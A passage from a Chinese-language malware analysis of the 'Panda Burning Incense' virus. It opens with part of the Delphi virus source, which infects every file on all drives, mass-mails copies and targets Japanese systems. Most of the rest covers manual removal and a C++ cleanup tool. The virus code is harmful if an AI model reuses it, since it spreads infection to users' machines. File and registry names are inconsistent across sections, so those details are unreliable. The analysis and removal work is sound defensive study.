484 | //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
485 | Sleep(200);
486 | until (FindNext(SearchRec) <> 0);
487 | end;
488 | FindClose(SearchRec);
489 | SubDir := TStringList.Create;
490 | if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
491 | begin
492 | repeat
493 | if IsValidDir(SearchRec) = 1 then
494 | SubDir.Add(SearchRec.Name);
495 | until (FindNext(SearchRec) <> 0);
496 | end;
497 | FindClose(SearchRec);
498 | Count := SubDir.Count - 1;
499 | for i := 0 to Count do
500 | LoopFiles(Path + SubDir.Strings[i] + '', Mask);
501 | FreeAndNil(SubDir);
502 | end;
503 | ```
504 |
505 | 遍历磁盘上所有的文件
506 |
507 | ```
508 | { 遍历磁盘上所有的文件 }
509 | procedure InfectFiles;
510 |
511 | var
512 | DriverList: string;
513 | i, Len: Integer;
514 | begin
515 | if GetACP = 932 then //日文操作系统
516 | IsJap := True; //去死吧!
517 | DriverList := GetDrives; //得到可写的磁盘列表
518 | Len := Length(DriverList);
519 | while True do //死循环
520 | begin
521 | for i := Len downto 1 do //遍历每个磁盘驱动器
522 | LoopFiles(DriverList[i] + ':', '*.*'); //感染之
523 | SendMail; //发带毒邮件
524 | Sleep(1000 * 60 * 5); //睡眠5分钟
525 | end;
526 | end;
527 | ```
528 |
529 | 主程序开始
530 |
531 | ```
532 | { 主程序开始 }
533 | begin
534 | if IsWin9x then //是Win9x
535 | RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
536 | else //WinNT
537 | begin
538 | //远程线程映射到Explorer进程
539 | end;
540 | //如果是原始病毒体自己
541 | if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
542 | InfectFiles //感染和发邮件
543 | else //已寄生于宿主程序上了,开始工作
544 | begin
545 | TmpFile := ParamStr(0); //创建临时文件
546 | Delete(TmpFile, Length(TmpFile) - 4, 4);
547 | TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
548 | ExtractFile(TmpFile); //分离之
549 | FillStartupInfo(Si, SW_SHOWDEFAULT);
550 | CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
551 | 0, nil, '.', Si, Pi); //创建新进程运行之
552 | InfectFiles; //感染和发邮件
553 | end;
554 | end.
555 | ```
556 |
557 | ### 病毒的防护措施及解决方案
558 |
559 | #### 手工查杀
560 |
561 | ##### 流程
562 |
563 | 1、排查可疑进程。因为病毒往往会创建出来一个或者多个进程,因此我们需要分辨出哪些进程是由病毒所创建,然后删除可疑进程。
564 |
565 | 2、检查启动项。病毒为了实现自启动,会采用一些方法将自己添加到启动项中,从而实现自启动,所以我们需要把启动项中的病毒清除。
566 |
567 | 3、删除病毒。检查完启动项后,我们基本就能够确定病毒主体的位置,这样,我们就可以顺藤摸瓜,从根本上删除病毒文件。
568 |
569 | 4、修复被病毒破坏的文件。这一步一般来说无法直接通过纯手工完成,需利用相应的软件来完成,这里我们不做过多的深究。
570 |
571 | ##### 环境准备
572 |
573 | - Windows 7 企业版
574 |
575 | - VMware Workstation 12
576 |
577 | - panda.exe
578 |
579 | 从行为分析中,我们可以知道,病毒创建出来的是一个名为 `spcolsv.exe` 的进程,我们现在的工作应该是杀掉这个进程。我们可以使用`taskkill /f /im PID` 这个命令来杀掉这个进程。
580 |
581 | - /f 是强制删除
582 |
583 | - /im 是指文件的镜像
584 |
585 | - PID 进程号
586 |
587 | 
588 |
589 | 我们可以看到,进程被成功的终止,我们再通过 `tasklist` 查看下当前的进程,我们可以发现, `4964` 的进程被杀死了。
590 |
591 | 下面我们应该检查一下系统的启动项,我们输入 `msconfig` ,我们可以看到 `svshare` 这个启动项存在于 `C:\Windows\System32\drivers\spcolsv.exe` 中,并且我们还可以看到,它在注册表创建了一个键值,在 `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` 下。
592 |
593 | 
594 |
595 | 我们可以打开注册表看一下,我们输入 `regedit` ,我们可以看到在`C:\Windows\System32\drivers\spcolsv.exe` 下面有个名称为 `svshare` 的启动项,我们将启动项的 `√` 取消掉,点击确认,我们再刷新一下注册表,我们可以发现,注册表的启动项消失了,说明我们已经完成了检查启动项的操作。
596 |
597 | 
598 |
599 | 接下来我们要来删除这个病毒,从刚才的操作中,我们已经知道了病毒所在的位置,我们打开cmd命令提示符,病毒在`C:\Windows\System32\drivers` 下,我们可以通过 `dir spcolsv.exe` 查看当前目录下是否存在 `spcolsv.exe` 文件,我们可以看到是真实存在的,下面我们使用 `del /f spcolsv.exe` 强制删除病毒文件,我们再用 `dir spcolsv.exe` 查看下这个文件,我们可以看到病毒文件已经是被删除了,到这里,我们删除病毒的工作基本就做完了。
600 |
601 | 
602 |
603 | 这个病毒不单单是将自身复制到了 `drivers` 目录下,它还将自己复制到了每一个盘符的根目录下。但是由于我 `Windows 7` 的盘符只有C盘,所以它会将其自身复制到了C盘的根目录下,我们同样是可以通过 `dir` 看一下。
604 |
605 | 我们在C盘根目录下输入 `dir` ,但是呢,我们发现这里没有病毒的程序,这个原因可能是因为病毒将自身设置为了隐藏,所以我们这里应该通过 `dir /ah` ,这个命令是为了显示隐藏的属性文件,这样我们可以列出C盘目录下所有隐藏属性的文件,我们可以看到有两个文件,一个是`autorun.inf` ,这个是病毒程序所经常利用的,可以实现自启动的一个程序,然后就是 `panda.exe` ,这个是病毒的本体程序,我们下面的工作是要删除这两个文件。由于这两个文件是隐藏属性的,因此我们在删除的时候,应当加上 `/ah` ,所以我们使用 `del /ah /f autorun.inf` 和 `del /ah /f setup.exe` 两个命令删除这两个文件程序。
606 |
607 | - /a 属性
608 |
609 | - /h 隐藏
610 |
611 | 或者我们可以直接通过 `attrib -s -r -h 文件名称` ,来显示文件,再通过`del /f 文件名称` 来直接删除文件。
612 |
613 | - -s 消除系统属性
614 |
615 | - -r 消除只读属性
616 |
617 | - -h 消除隐藏属性
618 |
619 | 
620 |
621 | #### 专杀工具的编写
622 |
623 | 我们对于上面所描述的病毒行为的分析,可以归纳为以下几点:
624 |
625 | 1、病毒本身创建了名为 `spcolsv.exe` 的进程,该进程文件的路径为 `C:\WINDOWS\system32\drivers\spcolsv.exe` 。
626 |
627 | 2、在命令行模式下使用 `net share` 命令来取消系统中的共享。
628 |
629 | 3、删除安全类软件在注册表中的启动项。
630 |
631 | 4、在注册表 `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` 中创建 `svcshare` ,用于在开机时启动位于 `C:\WINDOWS\system32\drivers\spcolsv.exe` 的病毒程序。
632 |
633 | 5、修改注册表,使得隐藏文件无法通过普通的设置进行显示,该位置为: `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL` ,病毒将 `CheckedValue` 的键值设置为了0。
634 |
635 | 6、将自身拷贝到根目录,并命名为 `setup.exe` ,同时创建 `autorun.inf` 用于病毒的启动,这两个文件的属性都是隐藏的。
636 |
637 | 7、在一些目录中创建名为 `Desktop_.ini` 的隐藏文件。
638 |
639 | 8、向外发包,连接局域网中其他机器。
640 |
641 | 如果使用批处理来杀毒,因为它运行时没有界面,因此我们往往不知道杀毒程序究竟干了些什么,也不知道究竟有没有查杀成功,这也凸显了使用高级语言开发专杀工具的优势。这里我使用 `MFC` 进行“熊猫烧香”病毒专杀工具的开发,绘制界面如下图所示:
642 |
643 | 
644 |
645 | 那么我们该如何编写这个专杀工具呢?
646 |
647 | 我们编写思路大致可以分为以下四部分:
648 |
649 | - 计算病毒程序的散列值
650 |
651 | - 查找内存中的病毒进程
652 |
653 | - 提升系统权限
654 |
655 | - 查找并删除`Desktop_.ini`
656 |
657 | ##### 计算病毒程序的散列值
658 |
659 | 在查杀病毒的技术中有一种方法类似于特征码查杀法,这种方法并不从病毒内提取特征码,而是计算病毒的散列值。利用这个散列值,就可以在查杀的过程中计算每个文件的散列,然后进行比较。这种方法简单易于实现,一般在病毒刚被发现时,在逆向分析前使用。常见的计算散列的算法有 `MD5` 、 `Sha-1` 以及 `CRC32` 等。这里使用 `CRC32` 算法计算散列值:
660 |
661 | ```
662 | DWORD CRC32(BYTE* ptr,DWORD Size)
663 | {
664 | DWORD crcTable[256],crcTmp1;
665 | //动态生成CRC-32表
666 | for (int i=0; i<256; i++)
667 | {
668 | crcTmp1 = i;
669 | for (int j=8; j>0; j--)
670 | {
671 | if (crcTmp1&1) crcTmp1 = (crcTmp1 >> 1) ^ 0xEDB88320L;
672 | else crcTmp1 >>= 1;
673 | }
674 |
675 | crcTable[i] = crcTmp1;
676 | }
677 | //计算CRC32值
678 | DWORD crcTmp2= 0xFFFFFFFF;
679 | while(Size--)
680 | {
681 | crcTmp2 = ((crcTmp2>>8) & 0x00FFFFFF) ^ crcTable[ (crcTmp2^(*ptr)) & 0xFF ];
682 | ptr++;
683 | }
684 | return (crcTmp2^0xFFFFFFFF);
685 | }
686 | ```
687 |
688 | 该函数的参数有两个,一个是指向缓冲区的指针,第二个是缓冲区的长度。它将文件全部读入缓冲区中,然后用 `CRC32` 函数计算文件的 `CRC32` 散列值,可以得到我所研究的“熊猫烧香”病毒的散列值为 `0x89240FCD` 。这里请大家注意,不同版本的病毒的散列值是不同的,我所得出的这个值仅针对我所讨论的这个版本的病毒。
689 |
690 | ##### 查找内存中的病毒进程
691 |
692 | 我们需要在内存中查找病毒是否存在:
693 |
694 | ```
695 | BOOL FindTargetProcess(char *pszProcessName,DWORD *dwPid)
696 | {
697 | BOOL bFind = FALSE;
698 |
699 | HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
700 | if (hProcessSnap == INVALID_HANDLE_VALUE)
701 | {
702 | return bFind;
703 | }
704 |
705 | PROCESSENTRY32 pe = { 0 };
706 | pe.dwSize = sizeof(pe);
707 |
708 | BOOL bRet = Process32First(hProcessSnap,&pe);
709 | while (bRet)
710 | {
711 | if (lstrcmp(pe.szExeFile,pszProcessName) == 0)
712 | {
713 | *dwPid = pe.th32ProcessID;
714 | bFind = TRUE;
715 | break;
716 | }
717 | bRet = Process32Next(hProcessSnap,&pe);
718 | }
719 |
720 | CloseHandle(hProcessSnap);
721 |
722 | return bFind;
723 | }
724 | ```
725 |
726 | ##### 提升系统权限
727 |
728 | 这里还需要提升系统的权限,提升成功后,当前进程就可以访问一些受限的系统资源。
729 |
730 | ```
731 | BOOL EnableDebugPrivilege(char *pszPrivilege)
732 | {
733 | HANDLE hToken = INVALID_HANDLE_VALUE;
734 | LUID luid;
735 | TOKEN_PRIVILEGES tp;
736 |
737 | BOOL bRet = OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken);
738 | if (bRet == FALSE)
739 | {
740 | return bRet;
741 | }
742 |
743 | bRet = LookupPrivilegeValue(NULL,pszPrivilege,&luid);
744 | if (bRet == FALSE)
745 | {
746 | return bRet;
747 | }
748 |
749 | tp.PrivilegeCount = 1;
750 | tp.Privileges[0].Luid = luid;
751 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
752 |
753 | bRet = AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
754 |
755 | return bRet;
756 | }
757 | ```
758 |
759 | ##### 查找并删除`Desktop_.ini`
760 |
761 | 病毒会在所有盘符下面的非系统目录中创建名为 `Desktop_.ini` 的文件,虽说这个文件看似并不会对系统产生什么危害,但是为了实现对“熊猫烧香”的彻底查杀,还是应当将其删除的。这里主要涉及两方面的知识,一个是遍历整个磁盘的文件,这需要使用 `FindFirstFile()` 与 `FindNextFile()` 这两个API函数,并采用递归调用的方法;另一个是修改文件属性,因为病毒创建出来的文件会带有系统、只读和隐藏这三个属性,若不对其进行更改,是无法删除病毒文件的。依照这个思想,编写出如下代码:
762 |
763 | ```
764 | DWORD WINAPI FindFiles(LPVOID lpszPath)
765 | {
766 | WIN32_FIND_DATA stFindFile;
767 | HANDLE hFindFile;
768 | // 扫描路径
769 | char szPath[MAX_PATH];
770 | char szFindFile[MAX_PATH];
771 | char szSearch[MAX_PATH];
772 | char *szFilter;
773 | int len;
774 | int ret = 0;
775 |
776 | szFilter = "*.*";
777 | lstrcpy(szPath, (char *)lpszPath);
778 |
779 | len = lstrlen(szPath);
780 | if(szPath[len-1] != '\\')
781 | {
782 | szPath[len] = '\\';
783 | szPath[len+1] = '\0';
784 | }
785 |
786 | lstrcpy(szSearch, szPath);
787 | lstrcat(szSearch,szFilter);
788 |
789 | hFindFile = FindFirstFile(szSearch, &stFindFile);
790 | if(hFindFile != INVALID_HANDLE_VALUE)
791 | {
792 | do
793 | {
794 | lstrcpy(szFindFile, szPath);
795 | lstrcat(szFindFile, stFindFile.cFileName);
796 |
797 | if(stFindFile.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
798 | {
799 | if(stFindFile.cFileName[0] != '.')
800 | {
801 | FindFiles(szFindFile);
802 | }
803 | }
804 | else
805 | {
806 | if(!lstrcmp(stFindFile.cFileName,"Desktop_.ini"))
807 | {
808 | // 去除文件的隐藏、系统以及只读属性
809 | DWORD dwFileAttributes = GetFileAttributes(szFindFile);
810 | dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;
811 | dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;
812 | dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;
813 | SetFileAttributes(szFindFile, dwFileAttributes);
814 | // 删除Desktop_.ini
815 | BOOL bRet = DeleteFile(szFindFile);
816 | csTxt += szFindFile;
817 | if (bRet)
818 | {
819 | csTxt += _T("被删除!\r\n");
820 | }
821 | else
822 | {
823 | csTxt += _T("无法删除\r\n");
824 | }
825 | }
826 | }
827 | ret = FindNextFile(hFindFile, &stFindFile);
828 | }while(ret != 0);
829 | }
830 |
831 | FindClose(hFindFile);
832 |
833 | return 0;
834 | }
835 | ```
836 |
837 | 需要说明的是,这里需要在本程序前定义一个 `CString` 类型的 `csTxt` 全局变量,用于将查杀的结果信息输出到程序界面,之后的程序中也会用到这个变量。
838 |
839 | 下面我们就可以写主程序了,也就是"一键查杀"按钮的实现:
840 |
841 | ```
842 | void CKillWhBoyDlg::OnBtnKill()
843 | {
844 | // TODO: Add your control notification handler code here
845 | BOOL bRet = FALSE;
846 | DWORD dwPid = 0;
847 | ///////////////////////////////////////////////////////////////////
848 | // 结束spoclsv.exe进程,并删除病毒程序本身
849 | ///////////////////////////////////////////////////////////////////
850 | bRet = FindTargetProcess("spoclsv.exe", &dwPid);
851 | if (bRet == TRUE)
852 | {
853 | csTxt = _T("检查系统内存...\r\n");
854 | csTxt += _T("系统中存在病毒进程:spoclsv.exe\r\n");
855 | csTxt += _T("准备进行查杀...\r\n");
856 | SetDlgItemText(IDC_LIST,csTxt);
857 | // 提升权限
858 | bRet = EnableDebugPrivilege(SE_DEBUG_NAME);
859 | if (bRet == FALSE)
860 | {
861 | csTxt += _T("提升权限失败\r\n");
862 | }
863 | else
864 | {
865 | csTxt += _T("提升权限成功!\r\n");
866 | }
867 | SetDlgItemText(IDC_LIST,csTxt);
868 | // 打开并尝试结束病毒进程
869 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPid);
870 | if (hProcess == INVALID_HANDLE_VALUE)
871 | {
872 | csTxt += _T("无法结束病毒进程\r\n");
873 | return ;
874 | }
875 | bRet = TerminateProcess(hProcess,0);
876 | if (bRet == FALSE)
877 | {
878 | csTxt += _T("无法结束病毒进程\r\n");
879 | return ;
880 | }
881 | csTxt += _T("病毒进程已经结束\r\n");
882 | SetDlgItemText(IDC_LIST,csTxt);
883 | CloseHandle(hProcess);
884 | }
885 | else
886 | {
887 | csTxt += _T("系统中不存在spoclsv.exe病毒进程\r\n");
888 | }
889 |
890 | Sleep(10);
891 | // 查杀磁盘中是否存在名为spoclsv.exe的病毒文件
892 | char szSysPath[MAX_PATH] = { 0 };
893 | GetSystemDirectory(szSysPath,MAX_PATH);
894 |
895 | lstrcat(szSysPath,"\\drivers\\spoclsv.exe");
896 |
897 | csTxt += _T("检查硬盘中是否存在spoclsv.exe文件...\r\n");
898 |
899 | if (GetFileAttributes(szSysPath) == 0xFFFFFFFF)
900 | {
901 | csTxt += _T("spoclsv.exe病毒文件不存在\r\n");
902 | }
903 | else
904 | {
905 | csTxt += _T("spoclsv.exe病毒文件存在,正在计算散列值\r\n");
906 |
907 | HANDLE hFile = CreateFile(szSysPath,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
908 | if (hFile == INVALID_HANDLE_VALUE)
909 | {
910 | AfxMessageBox("Create Error");
911 | return ;
912 | }
913 | DWORD dwSize = GetFileSize(hFile,NULL);
914 | if (dwSize == 0xFFFFFFFF)
915 | {
916 | AfxMessageBox("GetFileSize Error");
917 | return ;
918 | }
919 | BYTE *pFile = (BYTE*)malloc(dwSize);
920 | if (pFile == NULL)
921 | {
922 | AfxMessageBox("malloc Error");
923 | return ;
924 | }
925 |
926 | DWORD dwNum = 0;
927 | ReadFile(hFile,pFile,dwSize,&dwNum,NULL);
928 | // 计算spoclsv.exe的散列值
929 | DWORD dwCrc32 = CRC32(pFile,dwSize);
930 |
931 | if (pFile != NULL)
932 | {
933 | free(pFile);
934 | pFile = NULL;
935 | }
936 |
937 | CloseHandle(hFile);
938 | // 0x89240FCD是“熊猫烧香”病毒的散列值
939 | if (dwCrc32 != 0x89240FCD)
940 | {
941 | csTxt += _T("spoclsv.exe校验和验证失败\r\n");
942 | }
943 | else
944 | {
945 | csTxt += _T("spoclsv.exe校验和验证成功,正在删除...\r\n");
946 | // 去除文件的隐藏、系统以及只读属性
947 | DWORD dwFileAttributes = GetFileAttributes(szSysPath);
948 | dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;
949 | dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;
950 | dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;
951 | SetFileAttributes(szSysPath, dwFileAttributes);
952 | // 删除spoclsv.exe
953 | bRet = DeleteFile(szSysPath);
954 | if (bRet)
955 | {
956 | csTxt += _T("spoclsv.exe病毒被删除!\r\n");
957 | }
958 | else
959 | {
960 | csTxt += _T("spoclsv.exe病毒无法删除\r\n");
961 | }
962 | }
963 | }
964 | SetDlgItemText(IDC_LIST,csTxt);
965 | Sleep(10);
966 | ///////////////////////////////////////////////////////////////////
967 | // 删除每个盘符下的setup.exe与autorun.inf,以及Desktop_.ini
968 | ///////////////////////////////////////////////////////////////////
969 | char szDriverString[MAXBYTE] = { 0 };
970 | char *pTmp = NULL;
971 | //获取字符串类型的驱动器列表
972 | GetLogicalDriveStrings(MAXBYTE, szDriverString);
973 |
974 | pTmp = szDriverString;
975 |
976 | while( *pTmp )
977 | {
978 | char szAutorunPath[MAX_PATH] = { 0 };
979 | char szSetupPath[MAX_PATH] = { 0 };
980 | lstrcat(szAutorunPath,pTmp);
981 | lstrcat(szAutorunPath,"autorun.inf");
982 | lstrcat(szSetupPath,pTmp);
983 | lstrcat(szSetupPath,"setup.exe");
984 |
985 | if (GetFileAttributes(szSetupPath) == 0xFFFFFFFF)
986 | {
987 | csTxt += pTmp;
988 | csTxt += _T("setup.exe病毒文件不存在\r\n");
989 | }
990 | else
991 | {
992 | csTxt += pTmp;
993 | csTxt += _T("setup.exe病毒文件存在,正在进行计算校验和...\r\n");
994 | HANDLE hFile = CreateFile(szSetupPath,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
995 | if (hFile == INVALID_HANDLE_VALUE)
996 | {
997 | AfxMessageBox("Create Error");
998 | return ;
999 | }
1000 | DWORD dwSize = GetFileSize(hFile,NULL);
1001 | if (dwSize == 0xFFFFFFFF)
1002 | {
1003 | AfxMessageBox("GetFileSize Error");
1004 | return ;
1005 | }
1006 | BYTE *pFile = (BYTE*)malloc(dwSize);
1007 | if (pFile == NULL)
1008 | {
1009 | AfxMessageBox("malloc Error");
1010 | return ;
1011 | }
1012 |
1013 | DWORD dwNum = 0;
1014 | ReadFile(hFile,pFile,dwSize,&dwNum,NULL);
1015 |
1016 | DWORD dwCrc32 = CRC32(pFile,dwSize);
1017 | if (pFile != NULL)
1018 | {
1019 | free(pFile);
1020 | pFile = NULL;
1021 | }
1022 | CloseHandle(hFile);
1023 | if (dwCrc32 != 0x89240FCD)
1024 | {
1025 | csTxt += _T("校验和验证失败\r\n");
1026 | }
1027 | else
1028 | {
1029 | csTxt += _T("校验和验证成功,正在删除...\r\n");
1030 | // 去除文件的隐藏、系统以及只读属性
1031 | DWORD dwFileAttributes = GetFileAttributes(szSetupPath);
1032 | dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;
1033 | dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;
1034 | dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;
1035 | SetFileAttributes(szSetupPath, dwFileAttributes);
1036 | // 删除setup.exe
1037 | bRet = DeleteFile(szSetupPath);
1038 | if (bRet)
1039 | {
1040 | csTxt += pTmp;
1041 | csTxt += _T("setup.exe病毒被删除!\r\n");
1042 | }
1043 | else
1044 | {
1045 | csTxt += pTmp;
1046 | csTxt += _T("setup.exe病毒无法删除\r\n");
1047 | }
1048 | }
1049 | }
1050 | // 去除文件的隐藏、系统以及只读属性
1051 | DWORD dwFileAttributes = GetFileAttributes(szAutorunPath);
1052 | dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;
1053 | dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;
1054 | dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;
1055 | SetFileAttributes(szAutorunPath, dwFileAttributes);
1056 | // 删除autorun.inf
1057 | bRet = DeleteFile(szAutorunPath);
1058 | csTxt += pTmp;
1059 | if (bRet)
1060 | {
1061 | csTxt += _T("autorun.inf被删除!\r\n");
1062 | }
1063 | else
1064 | {
1065 | csTxt += _T("autorun.inf不存在或无法删除\r\n");
1066 | }
1067 | // 删除Desktop_.ini
1068 | FindFiles(pTmp);
1069 | // 检查下一个盘符
1070 | pTmp += 4;
1071 | }
1072 | Sleep(10);
1073 | ///////////////////////////////////////////////////////////////////
1074 | // 修复注册表内容,删除病毒启动项并修复文件的隐藏显示
1075 | ///////////////////////////////////////////////////////////////////
1076 | csTxt += _T("正在检查注册表...\r\n");
1077 | SetDlgItemText(IDC_LIST,csTxt);
1078 | // 首先检查启动项
1079 | char RegRun[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
1080 | HKEY hKeyHKCU = NULL;
1081 | LONG lSize = MAXBYTE;
1082 | char cData[MAXBYTE] = { 0 };
1083 |
1084 | long lRet = RegOpenKey(HKEY_CURRENT_USER, RegRun, &hKeyHKCU);
1085 | if(lRet == ERROR_SUCCESS)
1086 | {
1087 | lRet = RegQueryValueEx(hKeyHKCU,"svcshare",NULL,NULL,(unsigned char *)cData,(unsigned long *)&lSize);
1088 | if ( lRet == ERROR_SUCCESS)
1089 | {
1090 | if (lstrcmp(cData,"C:\\WINDOWS\\system32\\drivers\\spcolsv.exe") == 0)
1091 | {
1092 | csTxt += _T("注册表启动项中存在病毒信息\r\n");
1093 | }
1094 |
1095 | lRet = RegDeleteValue(hKeyHKCU,"svcshare");
1096 | if (lRet == ERROR_SUCCESS)
1097 | {
1098 | csTxt += _T("注册表启动项中的病毒信息已删除!\r\n");
1099 | }
1100 | else
1101 | {
1102 | csTxt += _T("注册表启动项中的病毒信息无法删除\r\n");
1103 | }
1104 | }
1105 | else
1106 | {
1107 | csTxt += _T("注册表启动项中不存在病毒信息\r\n");
1108 | }
1109 | RegCloseKey(hKeyHKCU);
1110 | }
1111 | else
1112 | {
1113 | csTxt += _T("注册表启动项信息读取失败\r\n");
1114 | }
1115 | // 接下来修复文件的隐藏显示,需要将CheckedValue的值设置为1
1116 | char RegHide[] = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL";
1117 | HKEY hKeyHKLM = NULL;
1118 | DWORD dwFlag = 1;
1119 |
1120 | long lRetHide = RegOpenKey(HKEY_LOCAL_MACHINE, RegHide, &hKeyHKLM);
1121 | if(lRetHide == ERROR_SUCCESS)
1122 | {
1123 | csTxt += _T("检测注册表的文件隐藏选项...\r\n");
1124 | if( ERROR_SUCCESS == RegSetValueEx(
1125 | hKeyHKLM, //subkey handle
1126 | "CheckedValue", //value name
1127 | 0, //must be zero
1128 | REG_DWORD, //value type
1129 | (CONST BYTE*)&dwFlag, //pointer to value data
1130 | 4)) //length of value data
1131 | {
1132 | csTxt += _T("注册表修复完毕!\r\n");
1133 | }
1134 | else
1135 | {
1136 | csTxt += _T("无法恢复注册表的文件隐藏选项\r\n");
1137 | }
1138 | }
1139 | ///////////////////////////////////////////////////////////////////
1140 | // 病毒查杀完成
1141 | ///////////////////////////////////////////////////////////////////
1142 | csTxt += _T("病毒查杀完成,请使用专业杀毒软件进行全面扫描!\r\n");
1143 | SetDlgItemText(IDC_LIST,csTxt);
1144 | }
1145 | ```
1146 |
1147 | 查杀后的效果如下:
1148 |
1149 | 
1150 |
1151 | ### 病毒的复现
1152 |
1153 | 我自己仿照了熊猫烧香病毒,自己编写了个易语言版本的,我也看了吾爱破解上的C++版本的,应该是用了MFC写的,当然我也会陆续把它放在GitHub上,这里我只是放了一个案例,为了防止某些人拿去做非法用途,我只提供了主要源代码。各位小主们有GitHub账号的走过路过千万不要吝啬你们的`star` 和 `follow` 。
1154 |
1155 | ### 项目下载
1156 |
1157 | 文章中涉及的源代码及程序我已经开源至GitHub上,希望有GitHub账号的大师傅可以给我赏个 `star` 和 `follow` ,感谢各位亲们的支持(/▽\=)。
1158 |
1159 | 下载地址:[GitHub](https://github.com/AngelKitty/Computer-Virus)
1160 |
1161 | ### 参考文献
1162 |
1163 | - [由“熊猫烧香”谈起](http://staff.ustc.edu.cn/~lszhuang/law09/xiongmaoshaoxiang.pdf)
1164 |
1165 | - [Github](https://github.com/AngelKitty/Computer-Virus)
1166 |
1167 | - [博客园](https://www.cnblogs.com/ECJTUACM-873284962/p/9642383.html)
1168 |
--------------------------------------------------------------------------------
/panda/figure/01.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AngelKitty/Computer-Virus/45c24f79e41c6a65c5a97e08d7903477cf475100/panda/figure/01.png
--------------------------------------------------------------------------------
/panda/figure/02.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AngelKitty/Computer-Virus/45c24f79e41c6a65c5a97e08d7903477cf475100/panda/figure/02.jpg
--------------------------------------------------------------------------------
/panda/figure/03.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AngelKitty/Computer-Virus/45c24f79e41c6a65c5a97e08d7903477cf475100/panda/figure/03.png
--------------------------------------------------------------------------------
/panda/figure/04.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AngelKitty/Computer-Virus/45c24f79e41c6a65c5a97e08d7903477cf475100/panda/figure/04.png
--------------------------------------------------------------------------------
/panda/figure/05.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AngelKitty/Computer-Virus/45c24f79e41c6a65c5a97e08d7903477cf475100/panda/figure/05.jpg
--------------------------------------------------------------------------------
/panda/figure/1.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AngelKitty/Computer-Virus/45c24f79e41c6a65c5a97e08d7903477cf475100/panda/figure/1.gif
--------------------------------------------------------------------------------
/panda/figure/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AngelKitty/Computer-Virus/45c24f79e41c6a65c5a97e08d7903477cf475100/panda/figure/1.png
--------------------------------------------------------------------------------
/panda/figure/10.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AngelKitty/Computer-Virus/45c24f79e41c6a65c5a97e08d7903477cf475100/panda/figure/10.gif
--------------------------------------------------------------------------------
/panda/figure/12.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AngelKitty/Computer-Virus/45c24f79e41c6a65c5a97e08d7903477cf475100/panda/figure/12.gif
--------------------------------------------------------------------------------
/panda/figure/13.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AngelKitty/Computer-Virus/45c24f79e41c6a65c5a97e08d7903477cf475100/panda/figure/13.gif
--------------------------------------------------------------------------------
/panda/figure/14.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AngelKitty/Computer-Virus/45c24f79e41c6a65c5a97e08d7903477cf475100/panda/figure/14.gif
--------------------------------------------------------------------------------
/panda/figure/15.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AngelKitty/Computer-Virus/45c24f79e41c6a65c5a97e08d7903477cf475100/panda/figure/15.png
--------------------------------------------------------------------------------
/panda/figure/16.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AngelKitty/Computer-Virus/45c24f79e41c6a65c5a97e08d7903477cf475100/panda/figure/16.gif
--------------------------------------------------------------------------------
/panda/figure/17.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AngelKitty/Computer-Virus/45c24f79e41c6a65c5a97e08d7903477cf475100/panda/figure/17.gif
--------------------------------------------------------------------------------
/panda/figure/18.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AngelKitty/Computer-Virus/45c24f79e41c6a65c5a97e08d7903477cf475100/panda/figure/18.png
--------------------------------------------------------------------------------
/panda/figure/19.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AngelKitty/Computer-Virus/45c24f79e41c6a65c5a97e08d7903477cf475100/panda/figure/19.png
--------------------------------------------------------------------------------
/panda/figure/2.gif:
--------------------------------------------------------------------------------
